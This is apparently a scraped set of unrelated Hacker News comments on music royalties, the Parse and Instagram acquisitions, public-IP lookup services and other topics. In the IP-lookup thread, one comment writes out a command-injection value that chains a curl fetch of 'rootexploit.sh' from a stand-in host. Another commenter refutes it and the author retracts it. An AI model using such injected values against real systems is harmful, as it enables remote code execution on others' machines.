skysight-inc/HackerNews huggingface dataset:
From a Verizon FiOS connection in the Boston area:

--- a1524.g.akamai.net ping statistics ---
29 packets transmitted, 29 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 20.872/22.326/26.220/1.058 ms

For comparison:

--- google.com ping statistics ---
24 packets transmitted, 24 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 10.791/12.767/16.010/1.329 ms
please stop inventing the argument you want to argue agaist. nowhere in my post did i say creators shouldn't own their IP, or that piracy was right. nothing here has even the slightest relevance to matthew inman. piracy is illegal, it's not part of "the market". theft values everything as free, it has no relevance to this discussion. i didn't say anything about piracy. that's not the debate here.
You absolutely can, and there's even been recent research into the computational mechanisms that are behind this kind of inference [1]. They build a computational model that learns spatial/visual representation from (simulated) haptic stimuli with performance similar to human subjects.

I think the reason Sinha's experiment had a negative result was, as other commenters have mentioned, that this ability is a learned behavior. Those who are blind from birth simply never developed the ability to form abstract representations from visual stimuli, therefore haptic information cannot be translated into these visual representations. The other commenters who are saying there is no pathway between the two modalities are wrong, and it's easy to set up an experiment to show it. Just blindfold someone and hand them an unfamiliar object, then, without showing it to them, have them draw it. It's clear that we can do this to some extent.

[1] http://www.bcs.rochester.edu/people/robbie/jacobslab/abstrac...
If you'd like to use UUIDs in Rails 3, I've been maintaining the activeuuid plugin for a while now:

https://github.com/jashmenn/activeuuid
> I'm also reminded of the way babies are born seeing upside down

Do you have a source for that?
Ooo, I hadn't thought of that! For some reason, I had it in my mind that some insecure hashing algorithm as the base would result in an insecure resulting hash, but of course that all goes out the window when your whole password table is out in the open.

I'm glad you mentioned "safer", because for some reason rurounijones's approach made me nervous, but I couldn't quite put my finger on it.

Here's some more discussion on the issue: http://crypto.stackexchange.com/questions/2945/is-this-passw... (I found that from here: http://stackoverflow.com/questions/3955223/password-hashing-...).
It's unfair to compare streaming one song to selling an album. A CD enables me to hear a track an infinite number of times, with Hi-Fi quality, in my car, living room or on the go. With a €3.49 Spotify subscription, one play is heard on the PC, requiring an Internet connection and not in top quality (only 160 kbps). The article seems to compare the rent of an apartment to buying a two-floor house...
I was wrong. I thought Yahoo adjusted for dividends incompletely but they appear to handle them fully.

My apologies for the confusion.
Can't you simply generalize the "I cut, you choose" algorithm? A cuts the first slice, then B divides the remainder in half, then C picks a slice, then A picks a slice.

If A cuts a slice bigger than 1/3, C will pick that. Likewise, B, as the last one to pick a slice, has an incentive to split evenly.
Csfoundation
You mentioned a moral difference, not a business difference.
This isn't true. Artists could make a middle-class living off record sales, augmented somewhat by touring and merchandise, during the major-label days. It's true that they made very little on royalties from album sales --- but that was often because they'd been advanced more money than they could ever expect to recoup. That's a business model common to all of publishing (music and books and otherwise), and it offered artists a predictable income stream in exchange for selling more of the upside to labels.

The closer you look at record labels, the more they look like venture capitalists.

(If you wanted to make a pointed critique of venture capitalists, I suppose you could also invoke the comparison in the other direction.)
The point of this submission was more to point out you can do `curl whatismyip.akamai.com` rather than "ping `curl whatismyip.akamai.com`" specifically, but that's still interesting.
Intellectual property is not a physical good [...] You can't use law to make your music more valuable.
The question assumes that it's either not feasible or practical to do that. That may or may not be the case, depending on the definition and context of "high-quality".
I prefer Clojure/Ring if I'm going to be doing web stuff on the JVM, but if I had to pick between those two, I'd go with Play. I don't think either is a terrible choice though.
I agree entirely. In fact, I've always been of the opinion that the institutionalization of learning works to the detriment of education and discourages most students from learning on their own, while doing an incompetent job of equipping them with knowledge of value. Schools ought to place greater emphasis on technical skills, applied math, nonfiction writing and modern government/geopolitics; and less on lab science, academic math, literature and classical history. It's not that the classical academic subjects lack intelectual value, but that public schools ought to serve a purely pragmatic purpose. The current system is, in my opinion, exceedingly ineffective and even detrimental to students who are deterred by what they perceive as pedantic material. They determine that they don't like school (particularly math), adopt defeatist attitudes and, by the end of high school, are entirely unequipped to enter the workforce or to matriculate into post-secondary programs.

Also, I'm curious as to when you attended school and which APs you took. I'm currently taking four, and I consider myself fortunate on nights when I have less than four hours of work.
You can also just google 'my ip'.

But the Akamai service is obviously much easier to use from a script.
Pandora does not replace such sales. You cannot queue up an album or particular song to listen to. It's cultural role is very analogous to traditional radio.

Spotify is very different, of course, and that's why they have a different royalty structure.
"why do developers feel more comfortable now that Facebook owns the product/company?"

This happens with the majority of acquisitions that, as soon as they are acquired they see an uptick in signups. The uptick would be more interesting if they announced it in a month’s time or in an even longer period of time.
There are several reasons for this including, the perception of “X has acquired them and they’re a massive company which means that the service will be around for a while” (which is not necessarily true) and the fact that, the acquired company gets a lot of press from areas they may previously not have done so they get new users either as customers or simply joining to ‘look’ at the service – although they may not become actual valuable users – by those I mean ‘look’ at the service, I’m talking about other employees of the acquiring company, shareholders of the acquiring company etc.
B) Why would I?

Because at the time this comment was made, the 'mouth-frothing' ad-hom hadn't yet been made, which is a bit of revisionism on your part. You also speak of 'the question obviously being a red herring'... but there was no such question posed - you were the one that brought up the significance of your background. How can a non-existent thing be an obvious red herring?
... and give anyone who controls your DNS a shell on your box. :)
Why not grep+awk ifconfig if you need your IP from a script?
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Look here:

http://i.imgur.com/7kdgJ32.jpg

Particularly at #18, where it's most obvious. These pictures have been photoshopped to give the ladies the elfin look that's popular right now in Korea.
Yes exactly.

5,000 plays on Spotify or Pandora is not equal to a single play on terrestrial radio. A single play on terrestrial radio probably reaches closer to 10,000 listeners, depending on how large the market is. In other words, 5,000 plays on Spotify is less than a single play on terrestrial radio.
But A and C can still collude against B, no?
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http://ifconfig.me also has a fairly simple way to get more information beyond just an ip address.
If you want to "debate" it might help to come with more than assertions that don't really have much of a basis in fact.
I created a calendar to try to manually discern the patterns in my own life, and it's been quite effective. Found your repo (0 watchers, haha), definitely a project that has piqued my interest. Keep us informed.
I was just trying to measure the latency to the server, an important characteristic for this service.

Previous ones I've used in the past (e.g., to update a dynamic DNS server) have suffered from excessive (multi-second) latency or would simply timeout unpredictably. I ended up writing my own on appspot.com.
The question people keep asking: 'What does this change about whether or not developers will use Parse?'.

Before being acquired by Facebook, there was a non-trivial probability that Parse would not be around for the long run. Being backed by a large company that isn't going away anytime soon makes Parse a viable option for larger businesses that are more risk averse than smaller startups/developer shops. Early adopters are great for shaping a product, but the majority of the money is in those risk averse enterprises. In other words, being acquired by Facebook hops Parse to the other side of the chasm [1]. There was a similar effect with Heroku being acquired by Salesforce.

I'm not sure what the long term effects of being associated with Facebook's brand are going to be, but there generally is a lot of short term vitriol associated with anything Facebook does that eventually ends up being inconsequential; if I were Parse, I wouldn't be too concerned, especially when their actual numbers indicate developers haven't lost faith in them.

[1] http://en.wikipedia.org/wiki/Crossing_the_Chasm
FM radio stations don't pay this royalty at all.
You know, an analysis that's a) 13 years out of date and b) from a notoriously dysfunctional individual might not be the best statistic to rely upon.
I'm not a heavy user of Instagram and am unqualified to answer how the product would be different were the company independent.

However, the most public change to Instagram that many blamed on facebook were the ToS changes that I've heard led to a non-trivial dip in engagement (the primary metric for facebook leadership):

Original Story: https://news.ycombinator.com/item?id=4936561

Response: https://news.ycombinator.com/item?id=4939849

Backpedal: https://news.ycombinator.com/item?id=4950853

I have a very good friend who works at Parse, and I have nothing but deep respect and admiration for him and his work. He is well-deserving of this exit. He does not subscribe to the pessimism about the new 'facebook overlords.' I've known him long enough that I would expect him to tell me if that weren't the case.

Will facebook always keep to its PR statements? Only as long as they makes sense for their business... I'd vote 6 months to a year, personally :)
Not 100%, but can't you just re-point the DNS to a server you control and return a different body from the curl request?
They're just throwing chemical darts and trying to sort out what they're left with. They don't know if they're making people worse or better.

E.g article comment at http://nyti.ms/12QAy1D points out "six months of mania as the result of a [drug] reaction…followed by a misdiagnosis…" Author herself doesn't seem to notice that she has depression before being treated with drugs, but it's bipolar after being treated.

Not a single mention of meditation or similar therapies, which have been much-studied and successful for many people. As if they don't exist as therapies.

A friend took a drug for mental health issues for ten days, and has had nearly twenty years of side effects (so far) affecting his sleep (he twitches when melatonin is released—or taken as a supplement). It never happened before, became severe on the drug, faded slightly in the months afterwards, and has never fully receded. Has tried many things to treat. And this is a small thing!

Throwing chemicals at problems when they don't know what will be solved or caused should really only be a last resort.
Ah, sorry, I had misread your post.
Zoe Keating is always worth-while reading about this, including being open about where her royalties come from. For eg (this was the post that got represented as "pay me in data"):
http://zoekeating.tumblr.com/post/35737991443/what-i-want-fr...
(there's a spreadsheet with the breakdown in there)

That one got featured in the NYT, prompting a couple of follow-ups:
http://zoekeating.tumblr.com/post/41955905309/a-blog-about-a...

http://zoekeating.tumblr.com/post/42057406771/where-does-the...
(I loved the internet-expertise implied by Several people advised me to consider touring as a revenue stream since “that is where artists make most of their money”.!) More pertinently though: "Live performance is usually my revenue stream with the highest expense ratio: flights, hotel rooms, commissions, crew, advertising, etc…"
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That won't give you your publicly-addressable IP if you're behind a NAT.
Maybe depending on your shell I'm probably wrong.
Yes, but what could a different body do here? Is there anything dangerous you can do with ping?
The complaint was not about SQL's syntax, but that SQL statements as strings are inflexible.

One often wants to have several variants of a SQL statement, beyond simple placeholders for arguments. I've seen several projects that grow a lame templating syntax on top of their SQL strings, to the point that the SQL then becomes incomprehensible.

If this really bugs you, perhaps the ultimate solution would be to actually parse SQL.

query = sqlParse("SELECT foo FROM bar WHERE quux = 1")
query2 = query.clone().constraint("quux = 2")
Restated: Price was not a barrier to the adoption of the iPhone.
I probably haven't made a hundred bucks from music, but IMO, as a small potato, you should completely forget about "piracy risk". People sharing your songs = good. Make it easy to buy the digital tracks and the CD + digital combo, and promote your website so that people get it from you first.

http://www.scribd.com/doc/131005609/JRC79605
The output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh) ' instead of just your IP.

Edit: This is completely wrong, and doesn't work.
Nothing has really changed with Instagram since Facebook acquired it, there was the TOS debate but that was overblown. Instagram’s core operation is around being able to quickly take and share photos & adding filters etc and that hasn’t really changed.

The only thing they really have done, is launched on the web (they just launched on Android a few days before the acquisition) and scaled up the Instagram team. Likewise, they also enlarged photos on Facebook itself (although that was for everyone not just Instagram) - the fact that they haven’t even given them a tab in their app shows how autonomously Facebook have let Instagram run since acquiring it etc.

Having said that, Instagram now has to play by Facebook’s rules and I expect that we’re more likely to see further integration between the two going forward this year such as advertising etc.
I really don't understand why this was upvoted, or have I missed something?
I don't see how you could be right. It won't evaluate the result:

ajf@Ubuntu-1204-precise-64-minimal:~$ echo `echo "3 > file"`
3 > file
The self is such a critical over-looked aspect for doctors that are primed to think of everything as a physical, chemical, medicinal equation when it is often so much more than that.
Because, typically, you are behind a NAT router, and you are after your WAN address, not the LAN address you were assigned by the router.

Depending on the router, it might be simpler and more reliable to interrogate the router.

Also, some routers come with dynamic DNS updating built in (dynamic DNS is a common reason for needing this service).
That won't show you the public IP if you're behind a NAT. Why would you need the public IP instead of the private one? For example because you're trying to search for requests coming from that machin in some logs, take traffic traces from somewhere beyond the NAT, etc.
How, exactly, would that work? You'd just be feeding the literal string "127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh) " to ping.
The biggest acts make their money touring.

Yes, and they charge so much that it leaves people with less money to attend concerts by smaller acts.

http://abcnews.go.com/Business/story?id=87981&page=1
http://www.digitalmusicnews.com/permalink/2012/120525tickets
If you're looking for your public ip, it won't always work. Especially if you are behind a nat/proxy.

That, plus knowing which interface to inspect among those returned by ifconfig isn't always obvious.
Personally, I'd rather bet on a start-up succeeding than bet against a publicly-traded corporation shutting down a not-as-profitable subsidiary/product. In the former case, I know that folks' livelyhoods are hanging on the line and they're going to try pretty damned hard to keep their business afloat, whereas I don't have any faith in Facebook keeping Parse around looking the way it does if it doesn't meet the right numbers.
If any audio is played at all it counts as a play (with SoundExchange at least).
CONCEDING THIS IN ADVANCE OF VERIFYING.
Your intuition is not entirely correct.

Competition and the size of the market are not always correlated.

The superior strategy is to maximize returns against efforts, not minimize potential for competition.

The essential argument is that a small market provides small returns therefore go after small markets is not the same as proving that the returns are better in proportion to the cost, in time, resources or opportunity.

Most large markets are divided in following a Pareto distribution, which is to say the winners dominate. You don't have a pie divided between competitors, you have most of the pie going to 2-3 players. Be a player.

When you see a large number of 'competitors' in a market, as often as not the market fragmentation is on the buyer side.

Again, I don't buy the small market simplicity argument, and I especially don't buy that small markets offer the best returns for effort. There is an abundance of large markets, many of which are underserved.

If you see an opportunity to squeeze a little market with a CRUD app, by all means, don't let me stop you, but I don't believe that is a superior strategy.
Right, there is a physical difference between the brain of a person who has been blind from birth and someone who has not. This also means that if you restore sight to someone who once had it and then lost it, they should have no trouble picking out an object they hadn't seen (only felt), even if it was an object they had neither seen nor felt prior to losing their vision.
I think a relevant issue that is the direct result of spotify/pandora/itunes is that we no longer consume albums, but rather individual tracks. Artists used to (and many still do) value producing a collection of songs that when listened sequentially meant something much more than listening to each song individually. Therefore, albums should theoretically be worth significantly more than the sum of the value of each individual track, but today's services have essentially destroyed this model. Don't get me wrong, there are obvious benefits of being able to consume only the tracks you like most, and I understand that we can still choose to listen to albums in their entirety, but the vast majority of people do not. A serious consequence of this is that consumers value music and the music industry as a whole significantly less than they once did. I also think there is an opportunity within the music-tech space to recreate the album-listening experience in an elegant way.
Disclaimer: I've never been a fan of storing my data on someone else's hard drives, but many others seem to think it's a good idea.

At any rate, how is this more secure? Amazon has physical access to S3 servers, and physical access to these new HSM things. So what exactly is the benefit? Is this just so companies can meet some security compliance regulations while keeping all their data Amazon's hard drives?
There's a lot wrong with the article, but the biggest problem is conflating owning an album with listening to a radio stream on Pandora. You can't play Pandora on demand, and the upside for the artist is primarily exposure - not pennies for the audio bits being played. Pandora and similar services all provide links to online sources to buy the tracks you are hearing, and people commonly use these.
Yep, you're right, it doesn't work. Edited post to reflect that, thanks.
tell prospective labels "I had 10k downloads" etc.

Pfff, you can buy that for $50 and the labels know it.

Even if you were able to make $10 per cd, you're still in the hole. Maybe better to chalk the whole recording thing up to marketing expense and use it to give you better leverage in the future.

Something tells me you're not a musician,
That is really expensive. You can start provisioning your own HSM for well under $5000 (of course, you can spend as much as you want :).

I'm guessing Amazon is counting on people who have large AWS deployments and want a closer HSM. You are paying a lot to reduce latency.
I'm really not interested in this.. But I dont consider a smartphone worth the extra weight / pocket space usage / charging...
I'm rarely far from a real computer that I can do stuff on efficiently